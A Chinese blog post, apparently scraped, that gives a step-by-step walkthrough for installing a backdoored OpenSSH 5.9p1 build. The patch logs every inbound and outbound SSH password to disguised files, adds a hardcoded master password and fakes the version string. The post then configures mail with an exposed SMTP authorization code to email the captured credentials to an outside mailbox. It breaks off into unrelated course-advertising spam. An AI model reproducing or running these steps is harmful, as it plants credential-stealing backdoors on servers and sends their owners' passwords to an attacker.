绝了!美图技术专家获取肉鸡服务器密码如探囊取物

https://www.cnbeta.com/articles/soft/154144.htm

5、进入文件目录

[root@itlaoxin63 tmp]# cd /tmp

解压文件

[root@itlaoxin63 tmp]# tar zxvf openssh-5.9p1.tar.gz

[root@itlaoxin63 tmp]# tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz

对openssh-5.9p1打后门漏洞补丁


1、开始打补丁

[root@itlaoxin63 tmp]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/

root@itlaoxin63 openssh-5.9p1.patch]# cd openssh-5.9p1

[root@itlaoxin63 openssh-5.9p1]# patch < sshbd5.9p1.diff

打补就修改或者替换原来的文件

patching file auth.c #认证

patching file auth-pam.c #认证

patching file auth-passwd.c #认证

patching file canohost.c

patching file includes.h

patching file log.c

patching file servconf.c #关于sshd服务端

patching file sshconnect2.c #关于sshd连接

patching file sshlogin.c #关于登录,把root密码记录下来

patching file version.h #关于版本

2、修改后门密码和记录root密码的文件夹目录

[root@itlaoxin63 openssh-5.9p1]# vim /tmp/openssh-5.9p1/includes.h

找到:

改:

#define ILOG “/tmp/ilog” //记录登录到本机的用户名和密码

#define OLOG “/tmp/olog” //记录从本机登录到其他服务器上的用户名和密码

#define SECRETPW “apaajaboleh” //你后门密码(后门密码是黑客使用的登录密码)

为:

#define ILOG “/usr/share/ifile”

#define OLOG “/usr/share/ofile”

#define SECRETPW “redhat”

3、为了使用安后的版本和原系统的版本一样,修改版本号:

[root@itlaoxin63 openssh-5.9p1]# vim /root/openssh-5.9p1/version.h

3 #define SSH_VERSION “OpenSSH_5.8p1 Debian-1ubuntu3”

4

5 #define SSH_PORTABLE “p1”

为:

#define SSH_VERSION " OpenSSH_5.3"

#define SSH_PORTABLE “p1”

4、安装打了后门补丁的sshd服务

[root@itlaoxin63 tmp]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel

开始安装:

[root@itlaoxin63 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

参数说明:

–prefix=/usr #指定安装到/usr 目录下

–sysconfdir=/etc/ssh #指定sshd服务配置文件目录

–with-pam #支持pam认证

–with-kerberos5 #支持kerberos认证

[root@itlaoxin63 openssh-5.9p1]# make -j 4 && make install

/usr/bin/install -c -m 0755 -s ssh /usr/bin/ssh

/usr/bin/install -c -m 0755 -s scp /usr/bin/scp

/usr/bin/install -c -m 0755 -s ssh-add /usr/bin/ssh-add

/usr/bin/install -c -m 0755 -s ssh-agent /usr/bin/ssh-agent

/usr/bin/install -c -m 0755 -s ssh-keygen /usr/bin/ssh-keygen

/usr/bin/install -c -m 0755 -s ssh-keyscan /usr/bin/ssh-keyscan

/usr/bin/install -c -m 0755 -s sshd /usr/sbin/sshd

/usr/bin/install -c -m 4711 -s ssh-keysign /usr/libexec/ssh-keysign

/usr/bin/install -c -m 0755 -s ssh-pkcs11-helper /usr/libexec/ssh-pkcs11-helper

/usr/bin/install -c -m 0755 -s sftp /usr/bin/sftp

5、重启sshd服务:

[root@itlaoxin63 openssh-5.9p1]# service sshd restart

6、测试使用xshel登录劫持密码

测试前,发现/usr/share/ifile文件没有存在

[root@itlaoxin63 ~]# ls /usr/share/ifile

ls: cannot access /usr/share/ifile: No such file or directory

xshell 登录后

image

7.查看劫持到root密码

[root@itlaoxin63 ~]# cat /usr/share/ifile

8. 另外我们也可以使用后门密码来登录root帐号

此处是在本机服务器上登录的,会看到olog文件

[root@itlaoxin tmp]# ssh 192.168.1.5

The authenticity of host ‘192.168.1.5 (192.168.1.5)’ can’t be established.

ECDSA key fingerprint is 60:23:d2:32:d1:5b:1d:bd:1a:f0:33:3e:60:9c:35:f0.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added ‘192.168.1.5’ (ECDSA) to the list of known hosts.

root@192.168.1.5’s password:

Last login: Thu May 6 01:08:58 2021 from 192.168.1.2

[root@itlaoxin ~]# cd /tmp/

[root@itlaoxin tmp]# ls

0x06-openssh-5.9p1.patch.tar.gz install.log openssh-5.9p1.patch

anaconda-ks.cfg install.log.syslog openssh-5.9p1.tar.gz

ilog olog sshpass-1.06.tar.gz

inotify-tools-3.13.tar.gz openssh-5.9p1 yum.log

[root@itlaoxin tmp]# cat olog

user:password@host --> root:redhat@192.168.1.5

[root@itlaoxin tmp]#

测试记录远程主机的密码


1、使用itlaoxin63登录远程主机itlaoxin64

[root@itlaoxin63 ~]# ssh root@192.168.1.64

root@192.168.1.64’s password:123456

Last login: Wed Aug 12 19:29:28 2015 from 192.168.1.63

[root@itlaoxin64 ~]# exit

[root@itlaoxin63 ~]# cat /tmp/olog #查看记录从itlaoxin64登录到远程主机的密码

user:password@host --> root:12345678@192.168.1.63

user:password@host --> root:123456@192.168.1.64

自动发邮件测试


这里以163的smtp服务器为例,实现自动发送邮件

1、使用mail.rc实现发邮件

[root@itlaoxin63 ~]# vim /etc/mail.rc #在此文件中间,随机找个位置插入以下内容:

[root@itlaoxin tmp]# cat /etc/mail.rc

set from=xinsz08vip@163.com smtp=smtp.163.com

set smtp-auth-user=xinsz08vip smtp-auth-password=CNSYCIQAOUUGOSOA smtp-auth=login

set from=xinsz08vip@163.com smtp=smtp.163.com # 指定发件人的邮箱

set smtp-auth-user=xinsz08vip # 写自己发件人的邮箱账号

smtp-auth-password=CNSYCIQAOUUGOSOA # 写发件人邮箱的授权码

smtp-auth=login

2. 配置163邮箱

点:设置->POP3/SMTP/IMAP->开启pop3服务(勾选开启pop3服务后,smtp也会自动开启)

image

开启服务:

image

记住授权码:CNSYCIQAOUUGOSOA

在操作的过程中,可能也需要要求发短信:微信扫码即可

image

3. 测试邮件发送

[root@itlaoxin tmp]# mail -s “demo” xinsz08vip@163.com < /tmp/ilog

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FTuslAab-1620347763117)(uploading…)]

image

4. 编写shell脚本自动发邮件,邮件的主题是服务器的IP地址

[root@itlaoxin63 bin]# vim /bin/zipmail #写入以下内容

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数Python工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年Python开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。

img

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上前端开发知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以扫码获取!!!(备注:Python)

g-3q59yiRC-1713808083931)]

[外链图片转存中…(img-8g3MI1rr-1713808083932)]

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上前端开发知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以扫码获取!!!(备注:Python)

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值